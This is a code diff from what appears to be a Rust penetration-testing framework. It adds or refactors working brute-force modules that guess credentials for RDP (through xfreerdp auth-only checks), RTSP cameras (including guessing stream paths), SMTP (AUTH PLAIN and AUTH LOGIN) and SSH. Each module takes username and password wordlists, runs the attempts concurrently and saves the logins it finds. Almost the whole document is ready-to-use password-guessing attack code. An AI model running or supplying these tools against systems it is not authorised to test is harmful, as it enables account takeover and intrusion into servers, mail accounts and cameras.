+            Err(_) => println!("Invalid port. Please enter a number."),
+        }
+    };
+
+    let usernames_file_path = prompt_required("Username wordlist path")?;
+    let passwords_file_path = prompt_required("Password wordlist path")?;
+
+    let concurrency: usize = loop {
+        let input = prompt_default("Max concurrent tasks", "10")?;
+        match input.parse() {
+            Ok(n) if n > 0 => break n,
+            _ => println!("Invalid number. Must be greater than 0."),
+        }
+    };
+
+    let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
+    let save_results = prompt_yes_no("Save results to file?", true)?;
+    let save_path = if save_results {
+        Some(prompt_default("Output file name", "rdp_results.txt")?)
+    } else {
+        None
+    };
+    let verbose = prompt_yes_no("Verbose mode?", false)?;
+    let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?;
+
+    let addr = format_socket_address(target, port);
+    let found_credentials = Arc::new(Mutex::new(Vec::new()));
+    let stop_signal = Arc::new(Mutex::new(false));
+
+    println!("\n[*] Starting brute-force on {}", addr);
+
+    let users = load_lines(&usernames_file_path)?;
+    if users.is_empty() {
+        println!("[!] Username wordlist is empty or invalid. Exiting.");
+        return Ok(());
+    }
+
+    let passwords = load_lines(&passwords_file_path)?;
+    if passwords.is_empty() {
+        println!("[!] Password wordlist is empty or invalid. Exiting.");
+        return Ok(());
+    }
+
+    let semaphore = Arc::new(Semaphore::new(concurrency));
+    let mut handles = vec![];
+    let mut user_cycle_idx = 0;
+
+    'password_loop: for pass in passwords {
+        if *stop_signal.lock().await {
+            break 'password_loop;
+        }
+
+        let current_users_for_this_pass = if combo_mode {
+            users.clone()
+        } else {
+            let user_for_this_pass = users[user_cycle_idx % users.len()].clone();
+            user_cycle_idx += 1;
+            vec![user_for_this_pass]
+        };
+
+        for user in current_users_for_this_pass {
+            if *stop_signal.lock().await {
+                break 'password_loop; // Break outer loop if stopping
+            }
+
+            let permit = Arc::clone(&semaphore).acquire_owned().await?;
+            
+            let addr_clone = addr.clone();
+            let user_clone = user.clone();
+            let pass_clone = pass.clone();
+            let found_credentials_clone = Arc::clone(&found_credentials);
+            let stop_signal_clone = Arc::clone(&stop_signal);
+            
+            let handle = tokio::spawn(async move {
+                let _permit_guard = permit; // Permit dropped when task finishes
+
+                if *stop_signal_clone.lock().await {
+                    return;
+                }
+
+                match try_rdp_login(&addr_clone, &user_clone, &pass_clone).await {
+                    Ok(true) => {
+                        println!("[+] SUCCESS: {} -> {}:{}", addr_clone, user_clone, pass_clone);
+                        let mut found = found_credentials_clone.lock().await;
+                        found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
+                        if stop_on_success {
+                            *stop_signal_clone.lock().await = true;
+                        }
+                    }
+                    Ok(false) => {
+                        log(verbose, &format!("[-] ATTEMPT: {} -> {}:{}", addr_clone, user_clone, pass_clone));
+                    }
+                    Err(e) => {
+                        log(verbose, &format!("[!] ERROR for {}:{}/{}: {}", addr_clone, user_clone, pass_clone, e));
+                    }
+                }
+                sleep(Duration::from_millis(10)).await;
+            });
+            handles.push(handle);
+        }
+    }
+
+    for handle in handles {
+        handle.await?; // Propagate JoinErrors if any task panicked
+    }
+
+    let creds = found_credentials.lock().await;
+    if creds.is_empty() {
+        println!("\n[-] No credentials found.");
+    } else {
+        println!("\n[+] Valid credentials found:");
+        for (host_addr, user, pass) in creds.iter() {
+            println!("    {} -> {}:{}", host_addr, user, pass);
+        }
+
+        if let Some(path_str) = save_path {
+            let filename = get_filename_in_current_dir(&path_str);
+            match File::create(&filename) {
+                Ok(mut file) => {
+                    for (host_addr, user, pass) in creds.iter() {
+                        if writeln!(file, "{} -> {}:{}", host_addr, user, pass).is_err() {
+                            eprintln!("[!] Error writing to result file: {}", filename.display());
+                            break;
+                        }
+                    }
+                    println!("[+] Results saved to '{}'", filename.display());
+                }
+                Err(e) => {
+                    eprintln!("[!] Could not create output file '{}': {}", filename.display(), e);
+                }
+            }
+        }
+    }
+
+    Ok(())
+}
+
+async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
+    let mut child = Command::new("xfreerdp")
+        .arg(format!("/v:{}", addr))
+        .arg(format!("/u:{}", user))
+        .arg(format!("/p:{}", pass))
+        .arg("/cert:ignore")
+        .arg("/timeout:5000") 
+        .arg("+auth-only") // Attempt authentication without full desktop session
+        .arg("/log-level:OFF")
+        .stdout(std::process::Stdio::null())
+        .stderr(std::process::Stdio::null()) // Suppress stderr as well for cleaner output unless specific errors are parsed
+        .spawn()?;
+
+    let status = child.wait().await?;
+    Ok(status.success())
+}
+
+fn prompt_required(msg: &str) -> Result<String> {
+    loop {
+        print!("{}", format!("{}: ", msg).cyan().bold());
+        std::io::stdout().flush()?;
+        let mut s = String::new();
+        std::io::stdin().read_line(&mut s)?;
+        let trimmed = s.trim();
+        if !trimmed.is_empty() {
+            return Ok(trimmed.to_string());
+        } else {
+            println!("{}", "This field is required. Please provide a value.".yellow());
+        }
+    }
+}
+
+fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
+    print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
+    std::io::stdout().flush()?;
+    let mut s = String::new();
+    std::io::stdin().read_line(&mut s)?;
+    let trimmed = s.trim();
+    Ok(if trimmed.is_empty() {
+        default_val.to_string()
+    } else {
+        trimmed.to_string()
+    })
+}
+
+fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
+    let options = if default_yes { "(Y/n)" } else { "(y/N)" };
+    loop {
+        print!("{}", format!("{} {} : ", msg, options).cyan().bold());
+        std::io::stdout().flush()?;
+        let mut s = String::new();
+        std::io::stdin().read_line(&mut s)?;
+        let input = s.trim().to_lowercase();
+        if input.is_empty() {
+            return Ok(default_yes);
+        } else if input == "y" || input == "yes" {
+            return Ok(true);
+        } else if input == "n" || input == "no" {
+            return Ok(false);
+        } else {
+            println!("{}", "Invalid input. Please enter 'y', 'yes', 'n', or 'no'.".yellow());
+        }
+    }
+}
+
+fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
+    let file = File::open(path.as_ref())
+        .map_err(|e| anyhow::anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
+    let reader = BufReader::new(file);
+    Ok(reader
+        .lines()
+        .filter_map(Result::ok)
+        .map(|line| line.trim().to_string())
+        .filter(|line| !line.is_empty())
+        .collect())
+}
+
+fn log(verbose: bool, msg: &str) {
+    if verbose {
+        println!("{}", msg);
+    }
+}
+
+fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
+    let path = Path::new(input_path_str);
+    let filename_component = path
+        .file_name()
+        .map(|os_str| os_str.to_string_lossy())
+        .unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str)); // Fallback to input if no filename part
+
+    let final_name = if filename_component.is_empty()
+        || filename_component == "."
+        || filename_component == ".."
+        || filename_component.contains('/') // Ensure it's not a path segment
+        || filename_component.contains('\\')
+    {
+        "rdp_brute_results.txt" // A robust default filename
+    } else {
+        filename_component.as_ref()
+    };
+
+    PathBuf::from(format!("./{}", final_name))
+}
+
+fn format_socket_address(ip: &str, port: u16) -> String {
+    let trimmed_ip = ip.trim_matches(|c| c == '[' || c == ']');
+    if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") { // Basic IPv6 check, avoid re-bracketing if port already there
+        format!("[{}]:{}", trimmed_ip, port)
+    } else {
+        format!("{}:{}", trimmed_ip, port)
+    }
+}

src/modules/creds/generic/rtsp_bruteforce_advanced.rs

@@ -1,6 +1,7 @@
 use anyhow::{anyhow, Result};
-use base64::Engine as _;
 use base64::engine::general_purpose::STANDARD as Base64;
+use base64::Engine as _;
+use colored::*;
 use std::{
     fs::File,
     io::{BufRead, BufReader, Write},
@@ -20,9 +21,6 @@ pub async fn run(target: &str) -> Result<()> {
     println!("=== Advanced RTSP Brute Force Module ===");
     println!("[*] Target: {}", target);
 
-    //------------------------------
-    // 1) Basic Brute Force Settings
-    //------------------------------
     let port: u16 = loop {
         let input = prompt_default("RTSP Port", "554")?;
         match input.parse() {
@@ -52,18 +50,11 @@ pub async fn run(target: &str) -> Result<()> {
     let verbose = prompt_yes_no("Verbose mode?", false)?;
     let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
 
-    //------------------------------
-    // 2) Advanced Features
-    //------------------------------
     let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false)?;
     let mut advanced_headers: Vec<String> = Vec::new();
     let advanced_command = if advanced_mode {
-        // By default, we'll demonstrate a DESCRIBE method.
-        // You could prompt for multiple commands, but here's one for simplicity.
         let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE")?;
-        // Prompt for custom headers file
-        let headers_file = prompt_yes_no("Load extra RTSP headers from a file?", false)?;
-        if headers_file {
+        if prompt_yes_no("Load extra RTSP headers from a file?", false)? {
             let headers_path = prompt_required("Path to RTSP headers file")?;
             advanced_headers = load_lines(&headers_path)?;
         }
@@ -72,77 +63,70 @@ pub async fn run(target: &str) -> Result<()> {
         None
     };
 
-    //------------------------------
-    // 3) Brute Force RTSP Paths
-    //------------------------------
     let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
-    let paths = if brute_force_paths {
+    let mut paths = if brute_force_paths {
         let paths_file = prompt_required("Path to RTSP paths file")?;
         load_lines(&paths_file)?
     } else {
-        // If not brute forcing paths, we just do an empty vector or single slash
-        vec!["".to_string()]  // We'll interpret "" as no path specified
+        vec!["".to_string()]
     };
+    if paths.is_empty() {
+        println!("[!] RTSP paths list is empty. Falling back to default root path.");
+        paths.push(String::new());
+    }
 
-    //------------------------------
-    // 4) Begin Brute Force
-    //------------------------------
     let addr = format!("{}:{}", target, port);
     let found = Arc::new(Mutex::new(Vec::new()));
     let stop = Arc::new(Mutex::new(false));
 
     println!("\n[*] Starting brute-force on {}", addr);
 
-    // Load user list
     let users = load_lines(&usernames_file)?;
+    if users.is_empty() {
+        println!("[!] Username wordlist is empty or invalid. Exiting.");
+        return Ok(());
+    }
 
-    // Load password list
-    let pass_file = File::open(&passwords_file)?;
-    let pass_buf = BufReader::new(pass_file);
-    let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
+    let pass_lines: Vec<String> = BufReader::new(File::open(&passwords_file)?)
+        .lines()
+        .filter_map(|line| line.ok().map(|s| s.trim().to_string()))
+        .filter(|line| !line.is_empty())
+        .collect();
+    if pass_lines.is_empty() {
+        println!("[!] Password wordlist is empty or invalid. Exiting.");
+        return Ok(());
+    }
 
     let mut idx = 0;
-    // For each password
     for pass in pass_lines {
-        // If we've already found valid creds and we're stopping on success, break early
         if *stop.lock().await {
             break;
         }
 
-        // If combo_mode is true, each password tries all users.
-        // Otherwise, line up each user with the “idx” (like a parallel dictionary).
         let userlist = if combo_mode {
             users.clone()
         } else {
-            // Use user at "idx % users.len()" if we’re not in combo_mode
             vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
         };
 
-        // We batch tasks up to "concurrency"
         let mut handles = vec![];
 
-        // For each username
         for user in userlist {
-            // For each path
             for path in &paths {
                 if *stop.lock().await {
                     break;
                 }
 
-                // Clone references for the task
                 let addr = addr.clone();
                 let user = user.clone();
                 let pass = pass.clone();
                 let path = path.clone();
                 let found = Arc::clone(&found);
                 let stop = Arc::clone(&stop);
-
-                // The advanced method & headers
                 let command = advanced_command.clone();
                 let headers = advanced_headers.clone();
 
                 let handle = tokio::spawn(async move {
-                    // Check again if we've been signaled to stop
                     if *stop.lock().await {
                         return;
                     }
@@ -150,29 +134,21 @@ pub async fn run(target: &str) -> Result<()> {
                     match try_rtsp_login(&addr, &user, &pass, &path, command.as_deref(), &headers).await {
                         Ok(true) => {
                             let path_str = if path.is_empty() { "NO_PATH" } else { &path };
-                            println!("[+] {} -> {}:{} [path={}]",
-                                addr, user, pass, path_str);
+                            println!("[+] {} -> {}:{} [path={}]", addr, user, pass, path_str);
                             found.lock().await.push((addr.clone(), user.clone(), pass.clone(), path_str.to_string()));
-
                             if stop_on_success {
                                 *stop.lock().await = true;
                             }
                         }
-                        Ok(false) => {
-                            log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path));
-                        }
-                        Err(e) => {
-                            log(verbose, &format!("[!] {} -> error: {}", addr, e));
-                        }
+                        Ok(false) => log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path)),
+                        Err(e) => log(verbose, &format!("[!] {} -> error: {}", addr, e)),
                     }
 
-                    // A short delay between attempts
                     sleep(Duration::from_millis(10)).await;
                 });
 
                 handles.push(handle);
 
-                // If we reach concurrency, wait for them to finish before scheduling more
                 if handles.len() >= concurrency {
                     for h in handles.drain(..) {
                         let _ = h.await;
@@ -181,7 +157,6 @@ pub async fn run(target: &str) -> Result<()> {
             }
         }
 
-        // Wait for any leftover tasks in the batch
         for h in handles {
             let _ = h.await;
         }
@@ -189,9 +164,6 @@ pub async fn run(target: &str) -> Result<()> {
         idx += 1;
     }
 
-    //------------------------------
-    // 5) Show Results / Save
-    //------------------------------
     let creds = found.lock().await;
     if creds.is_empty() {
         println!("\n[-] No credentials found (with these paths).");
@@ -214,8 +186,42 @@ pub async fn run(target: &str) -> Result<()> {
     Ok(())
 }
 
-/// Attempt to authenticate via RTSP (with optional advanced method + headers).
-/// Returns Ok(true) if successful, Ok(false) if incorrect credentials, Err(...) if we can’t connect/parse response.
+/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
+async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
+    // 1) If it's a literal SocketAddr, return it directly
+    if let Ok(sa) = addr.parse::<SocketAddr>() {
+        return Ok(vec![sa]);
+    }
+
+    // 2) Split into host / port
+    let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
+        (h.to_string(), p.parse().unwrap_or(554))
+    } else {
+        (addr.to_string(), 554)
+    };
+
+    // 3) Clean any nested brackets and format bracketed IPv6 or plain host
+    let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
+    let host_port = if host_clean.contains(':') {
+        format!("[{}]:{}", host_clean, port)
+    } else {
+        format!("{}:{}", host_clean, port)
+    };
+
+    // 4) DNS lookup (handles A + AAAA)
+    let addrs = tokio::net::lookup_host(host_port.clone())
+        .await
+        .map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
+        .collect::<Vec<_>>();
+
+    if addrs.is_empty() {
+        Err(anyhow!("No addresses found for '{}'", host_port))
+    } else {
+        Ok(addrs)
+    }
+}
+
+/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
 async fn try_rtsp_login(
     addr: &str,
     user: &str,
@@ -224,55 +230,66 @@ async fn try_rtsp_login(
     method: Option<&str>,
     extra_headers: &[String],
 ) -> Result<bool> {
-    // Parse the address to confirm it's valid
-    let socket_addr: SocketAddr = addr.parse()
-        .map_err(|e| anyhow!("Invalid socket address '{}': {}", addr, e))?;
+    let addrs = resolve_targets(addr).await?;
+    let mut last_err = None;
+    let mut stream = None;
+    let mut connected_sa = None;
 
-    // Open TCP connection to camera
-    let mut stream = TcpStream::connect(socket_addr)
-        .await
-        .map_err(|e| anyhow!("Connection error: {}", e))?;
+    // Try each candidate address
+    for sa in addrs {
+        match TcpStream::connect(sa).await {
+            Ok(s) => {
+                stream = Some(s);
+                connected_sa = Some(sa);
+                break;
+            }
+            Err(e) => {
+                last_err = Some(e);
+                continue;
+            }
+        }
+    }
 
-    // If the user wants advanced mode, use "method" (e.g., DESCRIBE) + headers.
-    // Otherwise, fallback to OPTIONS. We'll do "DESCRIBE" by default if method is Some("DESCRIBE").
-    let rtsp_method = method.unwrap_or("OPTIONS");
-
-    // Build path portion (some cameras expect the path in the request line).
-    // If path is empty, we skip it. Or default to / if you want.
-    let path_str = if path.is_empty() {
-        ""  // or "/"
-    } else {
-        path
+    // Unwrap the successful connection and SocketAddr
+    let (mut stream, sa) = match (stream, connected_sa) {
+        (Some(s), Some(sa)) => (s, sa),
+        _ => {
+            return Err(anyhow!(
+                "All connection attempts failed: {}",
+                last_err.map(|e| e.to_string()).unwrap_or_default()
+            ))
+        }
     };
 
-    // Build Basic Auth
+    // Build a proper host:port string for the RTSP URI, handling IPv6 correctly
+    let ip_str = sa.ip().to_string();
+    let host_for_uri = if ip_str.contains(':') {
+        format!("[{}]:{}", ip_str, sa.port())
+    } else {
+        format!("{}:{}", ip_str, sa.port())
+    };
+
+    let rtsp_method = method.unwrap_or("OPTIONS");
+    let path_str = if path.is_empty() { "" } else { path };
     let credentials = Base64.encode(format!("{}:{}", user, pass));
 
-    // Build the RTSP request line
     let mut request = format!(
-        "{method} rtsp://{addr}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
+        "{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
         method = rtsp_method,
-        addr = addr,
-        path = path_str.trim_start_matches('/'), // avoid double slash
+        host = host_for_uri,
+        path = path_str.trim_start_matches('/'),
         auth = credentials,
     );
 
-    // Append extra headers if advanced mode is on
     for header in extra_headers {
-        // We assume each line in extra_headers is valid, e.g. "User-Agent: MyCameraClient"
         request.push_str(header);
         if !header.ends_with("\r\n") {
             request.push_str("\r\n");
         }
     }
-
-    // End with a blank line
     request.push_str("\r\n");
 
-    // Send request
     stream.write_all(request.as_bytes()).await?;
-
-    // Read response
     let mut buffer = [0u8; 2048];
     let n = stream.read(&mut buffer).await?;
     if n == 0 {
@@ -280,7 +297,6 @@ async fn try_rtsp_login(
     }
     let response = String::from_utf8_lossy(&buffer[..n]);
 
-    // Very naive checks
     if response.contains("200 OK") {
         Ok(true)
     } else if response.contains("401") || response.contains("403") {
@@ -290,58 +306,47 @@ async fn try_rtsp_login(
     }
 }
 
-/// Prompts the user for a required field (no default allowed).
+// ─── Prompt and utility functions unchanged ───────────────────────────────────
+
 fn prompt_required(msg: &str) -> Result<String> {
     loop {
-        print!("{}: ", msg);
+        print!("{}", format!("{}: ", msg).cyan().bold());
         std::io::Write::flush(&mut std::io::stdout())?;
         let mut s = String::new();
         std::io::stdin().read_line(&mut s)?;
         let trimmed = s.trim();
         if !trimmed.is_empty() {
             return Ok(trimmed.to_string());
-        } else {
-            println!("This field is required.");
         }
+        println!("{}", "This field is required.".yellow());
     }
 }
 
-/// Prompts the user for a value with a default fallback.
 fn prompt_default(msg: &str, default: &str) -> Result<String> {
-    print!("{} [{}]: ", msg, default);
+    print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
     std::io::Write::flush(&mut std::io::stdout())?;
     let mut s = String::new();
     std::io::stdin().read_line(&mut s)?;
     let trimmed = s.trim();
-    Ok(if trimmed.is_empty() {
-        default.to_string()
-    } else {
-        trimmed.to_string()
-    })
+    Ok(if trimmed.is_empty() { default.to_string() } else { trimmed.to_string() })
 }
 
-/// Prompts the user for a yes/no question, with a default answer.
 fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
     let default = if default_yes { "y" } else { "n" };
     loop {
-        print!("{} (y/n) [{}]: ", msg, default);
+        print!("{}", format!("{} (y/n) [{}]: ", msg, default).cyan().bold());
         std::io::Write::flush(&mut std::io::stdout())?;
         let mut s = String::new();
         std::io::stdin().read_line(&mut s)?;
-        let input = s.trim().to_lowercase();
-        if input.is_empty() {
-            return Ok(default_yes);
-        } else if input == "y" || input == "yes" {
-            return Ok(true);
-        } else if input == "n" || input == "no" {
-            return Ok(false);
-        } else {
-            println!("Invalid input. Please enter 'y' or 'n'.");
+        match s.trim().to_lowercase().as_str() {
+            ""        => return Ok(default_yes),
+            "y" | "yes" => return Ok(true),
+            "n" | "no"  => return Ok(false),
+            _ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
         }
     }
 }
 
-/// Loads a file, returning non-empty lines in a Vec.
 fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
     let file = File::open(path)?;
     let reader = BufReader::new(file);
@@ -353,14 +358,12 @@ fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
         .collect())
 }
 
-/// Prints log messages only in verbose mode.
 fn log(verbose: bool, msg: &str) {
     if verbose {
         println!("{}", msg);
     }
 }
 
-/// Returns a PathBuf in the current directory for the given filename.
 fn get_filename_in_current_dir(input: &str) -> PathBuf {
     let name = Path::new(input)
         .file_name()

src/modules/creds/generic/smtp_bruteforce.rs

@@ -0,0 +1,217 @@
+use anyhow::{Result, Context};
+use regex::Regex;
+use std::fs::{File, OpenOptions};
+use std::io::{self, BufRead, BufReader, Write};
+use std::net::{TcpStream, ToSocketAddrs};
+use std::sync::{Arc, Mutex};
+use std::time::Duration;
+use telnet::{Telnet, Event};
+use threadpool::ThreadPool;
+use crossbeam_channel::unbounded;
+
+#[derive(Clone)]
+struct SmtpBruteforceConfig {
+    target: String,
+    port: u16,
+    username_wordlist: String,
+    password_wordlist: String,
+    threads: usize,
+    stop_on_success: bool,
+    verbose: bool,
+    full_combo: bool,
+}
+
+pub async fn run(target: &str) -> Result<()> {
+    println!("\n=== SMTP Bruteforce ===\n");
+    let port = prompt("Port (default 25): ").parse().unwrap_or(25);
+    let username_wordlist = prompt("Username wordlist file: ");
+    let password_wordlist = prompt("Password wordlist file: ");
+    let threads = prompt("Threads (default 8): ").parse().unwrap_or(8);
+    let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
+    let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
+    let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
+    let config = SmtpBruteforceConfig {
+        target: target.to_string(),
+        port,
+        username_wordlist,
+        password_wordlist,
+        threads,
+        stop_on_success,
+        verbose,
+        full_combo,
+    };
+    run_smtp_bruteforce(config)
+}
+
+fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
+    let addr = normalize_target(&config.target, config.port)?;
+    let usernames = read_lines(&config.username_wordlist)?;
+    let passwords = read_lines(&config.password_wordlist)?;
+    if usernames.is_empty() || passwords.is_empty() {
+        return Err(anyhow::anyhow!("Empty user or pass wordlist."));
+    }
+    let found = Arc::new(Mutex::new(Vec::new()));
+    let stop_flag = Arc::new(Mutex::new(false));
+    let pool = ThreadPool::new(config.threads);
+    let (tx, rx) = unbounded();
+    if config.full_combo {
+        for u in &usernames { for p in &passwords { tx.send((u.clone(), p.clone()))?; } }
+    } else if usernames.len() == 1 {
+        for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
+    } else if passwords.len() == 1 {
+        for u in &usernames { tx.send((u.clone(), passwords[0].clone()))?; }
+    } else {
+        for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
+    }
+    drop(tx);
+    for _ in 0..config.threads {
+        let rx = rx.clone();
+        let addr = addr.clone();
+        let stop_flag = Arc::clone(&stop_flag);
+        let found = Arc::clone(&found);
+        let config = config.clone();
+        pool.execute(move || {
+            while let Ok((user, pass)) = rx.recv() {
+                if *stop_flag.lock().unwrap() { break; }
+                if config.verbose { println!("[*] {}:{}", user, pass); }
+                match try_smtp_login(&addr, &user, &pass) {
+                    Ok(true) => {
+                        println!("[+] VALID: {}:{}", user, pass);
+                        let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
+                        if config.stop_on_success {
+                            *stop_flag.lock().unwrap() = true;
+                            while rx.try_recv().is_ok() {}
+                            break;
+                        }
+                    }
+                    Ok(false) => {}
+                    Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
+                }
+            }
+        });
+    }
+    pool.join();
+    let found = found.lock().unwrap();
+    if found.is_empty() {
+        println!("[-] No valid credentials.");
+    } else {
+        println!("[+] Found:");
+        for (u,p) in found.iter() { println!("{}:{}", u, p); }
+        if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
+            let f = prompt("Filename: ");
+            save_results(&f, &found)?;
+            println!("[+] Saved to {}", f);
+        }
+    }
+    Ok(())
+}
+
+/// Try login with both AUTH PLAIN and AUTH LOGIN, returns Ok(true) if success, Ok(false) if auth fail, Err on connection/protocol error.
+fn try_smtp_login(addr: &str, username: &str, password: &str) -> Result<bool> {
+    use base64::{engine::general_purpose, Engine as _};
+    let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow::anyhow!("Could not resolve address"))?;
+    let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(1500)).context("Connect timeout")?;
+    stream.set_read_timeout(Some(Duration::from_millis(1500))).ok();
+    stream.set_write_timeout(Some(Duration::from_millis(1500))).ok();
+    let mut telnet = Telnet::from_stream(Box::new(stream), 256);
+    let mut banner_ok = false;
+    for _ in 0..3 {
+        let event = telnet.read().context("Banner read error")?;
+        if let Event::Data(b) = event {
+            let s = String::from_utf8_lossy(&b);
+            if s.starts_with("220") { banner_ok = true; break; }
+        }
+    }
+    if !banner_ok { return Err(anyhow::anyhow!("No 220 banner")); }
+    telnet.write(b"EHLO scanner\r\n")?;
+    let mut login_ok = false;
+    let mut plain_ok = false;
+    let mut ehlo_seen = false;
+    let mut buf = String::new();
+    for _ in 0..6 {
+        let event = telnet.read()?;
+        if let Event::Data(b) = event {
+            let s = String::from_utf8_lossy(&b);
+            buf.push_str(&s);
+            if s.contains("AUTH") && s.contains("PLAIN") { plain_ok = true; }
+            if s.contains("AUTH") && s.contains("LOGIN") { login_ok = true; }
+            if s.starts_with("250 ") { ehlo_seen = true; break; }
+        }
+    }
+    if !ehlo_seen { return Ok(false); }
+    // Try AUTH PLAIN
+    if plain_ok {
+        let mut blob = vec![0];
+        blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes());
+        let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob));
+        telnet.write(cmd.as_bytes())?;
+        for _ in 0..2 {
+            let event = telnet.read()?;
+            if let Event::Data(b) = event {
+                let s = String::from_utf8_lossy(&b);
+                if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
+                if s.starts_with("535") || s.starts_with("5") { break; }
+            }
+        }
+    }
+    // Try AUTH LOGIN
+    if login_ok {
+        telnet.write(b"AUTH LOGIN\r\n")?;
+        let mut expect_user = false;
+        for _ in 0..2 {
+            let event = telnet.read()?;
+            if let Event::Data(b) = event {
+                let s = String::from_utf8_lossy(&b);
+                if s.starts_with("334") { expect_user = true; break; }
+            }
+        }
+        if !expect_user { return Ok(false); }
+        let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes()));
+        telnet.write(ucmd.as_bytes())?;
+        let mut expect_pass = false;
+        for _ in 0..2 {
+            let event = telnet.read()?;
+            if let Event::Data(b) = event {
+                let s = String::from_utf8_lossy(&b);
+                if s.starts_with("334") { expect_pass = true; break; }
+            }
+        }
+        if !expect_pass { return Ok(false); }
+        let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes()));
+        telnet.write(pcmd.as_bytes())?;
+        for _ in 0..2 {
+            let event = telnet.read()?;
+            if let Event::Data(b) = event {
+                let s = String::from_utf8_lossy(&b);
+                if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
+                if s.starts_with("535") || s.starts_with("5") { break; }
+            }
+        }
+    }
+    Ok(false)
+}
+
+fn read_lines(path: &str) -> Result<Vec<String>> {
+    let file = File::open(path).context(format!("Open: {}", path))?;
+    Ok(BufReader::new(file).lines().filter_map(Result::ok).filter(|s|!s.trim().is_empty()).collect())
+}
+
+fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
+    let mut file = OpenOptions::new().create(true).write(true).truncate(true).open(path)?;
+    for (u,p) in creds { writeln!(file, "{}:{}", u, p)?; }
+    Ok(())
+}
+
+fn prompt(msg: &str) -> String {
+    print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
+}
+
+fn normalize_target(host: &str, port: u16) -> Result<String> {
+    let re = Regex::new(r"^\[*([^\]]+?)\]*(?::(\d{1,5}))?$" ).unwrap();
+    let t = host.trim();
+    let cap = re.captures(t).ok_or_else(|| anyhow::anyhow!("Invalid target: {}", host))?;
+    let addr = cap.get(1).unwrap().as_str();
+    let p = cap.get(2).map(|m| m.as_str().parse::<u16>().ok()).flatten().unwrap_or(port);
+    let f = if addr.contains(':') && !addr.starts_with('[') { format!("[{}]:{}", addr, p) } else { format!("{}:{}", addr, p) };
+    if f.to_socket_addrs()?.next().is_none() { Err(anyhow::anyhow!("DNS fail: {}", f)) } else { Ok(f) }
+}

src/modules/creds/generic/ssh_bruteforce.rs

@@ -1,4 +1,5 @@
 use anyhow::{anyhow, Result};
+use colored::*;
 use ssh2::Session;
 use std::{
     fs::File,
@@ -8,7 +9,7 @@ use std::{
     sync::Arc,
 };
 use tokio::{
-    sync::Mutex,
+    sync::{Mutex, Semaphore},
     task::spawn_blocking,
     time::{sleep, Duration},
 };
@@ -39,83 +40,104 @@ pub async fn run(target: &str) -> Result<()> {
     let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
     let save_results = prompt_yes_no("Save results to file?", true)?;
     let save_path = if save_results {
-        Some(prompt_default("Output file", "ssh_results.txt")?)
+        Some(prompt_default("Output file", "ssh_brute_results.txt")?)
     } else {
         None
     };
     let verbose = prompt_yes_no("Verbose mode?", false)?;
     let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
 
-    let addr = format!("{}:{}", target, port);
+    let initial_addr = format!("{}:{}", target, port);
+    let connect_addr = format_host_port(&initial_addr)?;
+
     let found = Arc::new(Mutex::new(Vec::new()));
     let stop = Arc::new(Mutex::new(false));
 
-    println!("\n[*] Starting brute-force on {}", addr);
+    println!("\n[*] Starting brute-force on {}", connect_addr);
+
+    let user_list = load_lines(&usernames_file)?;
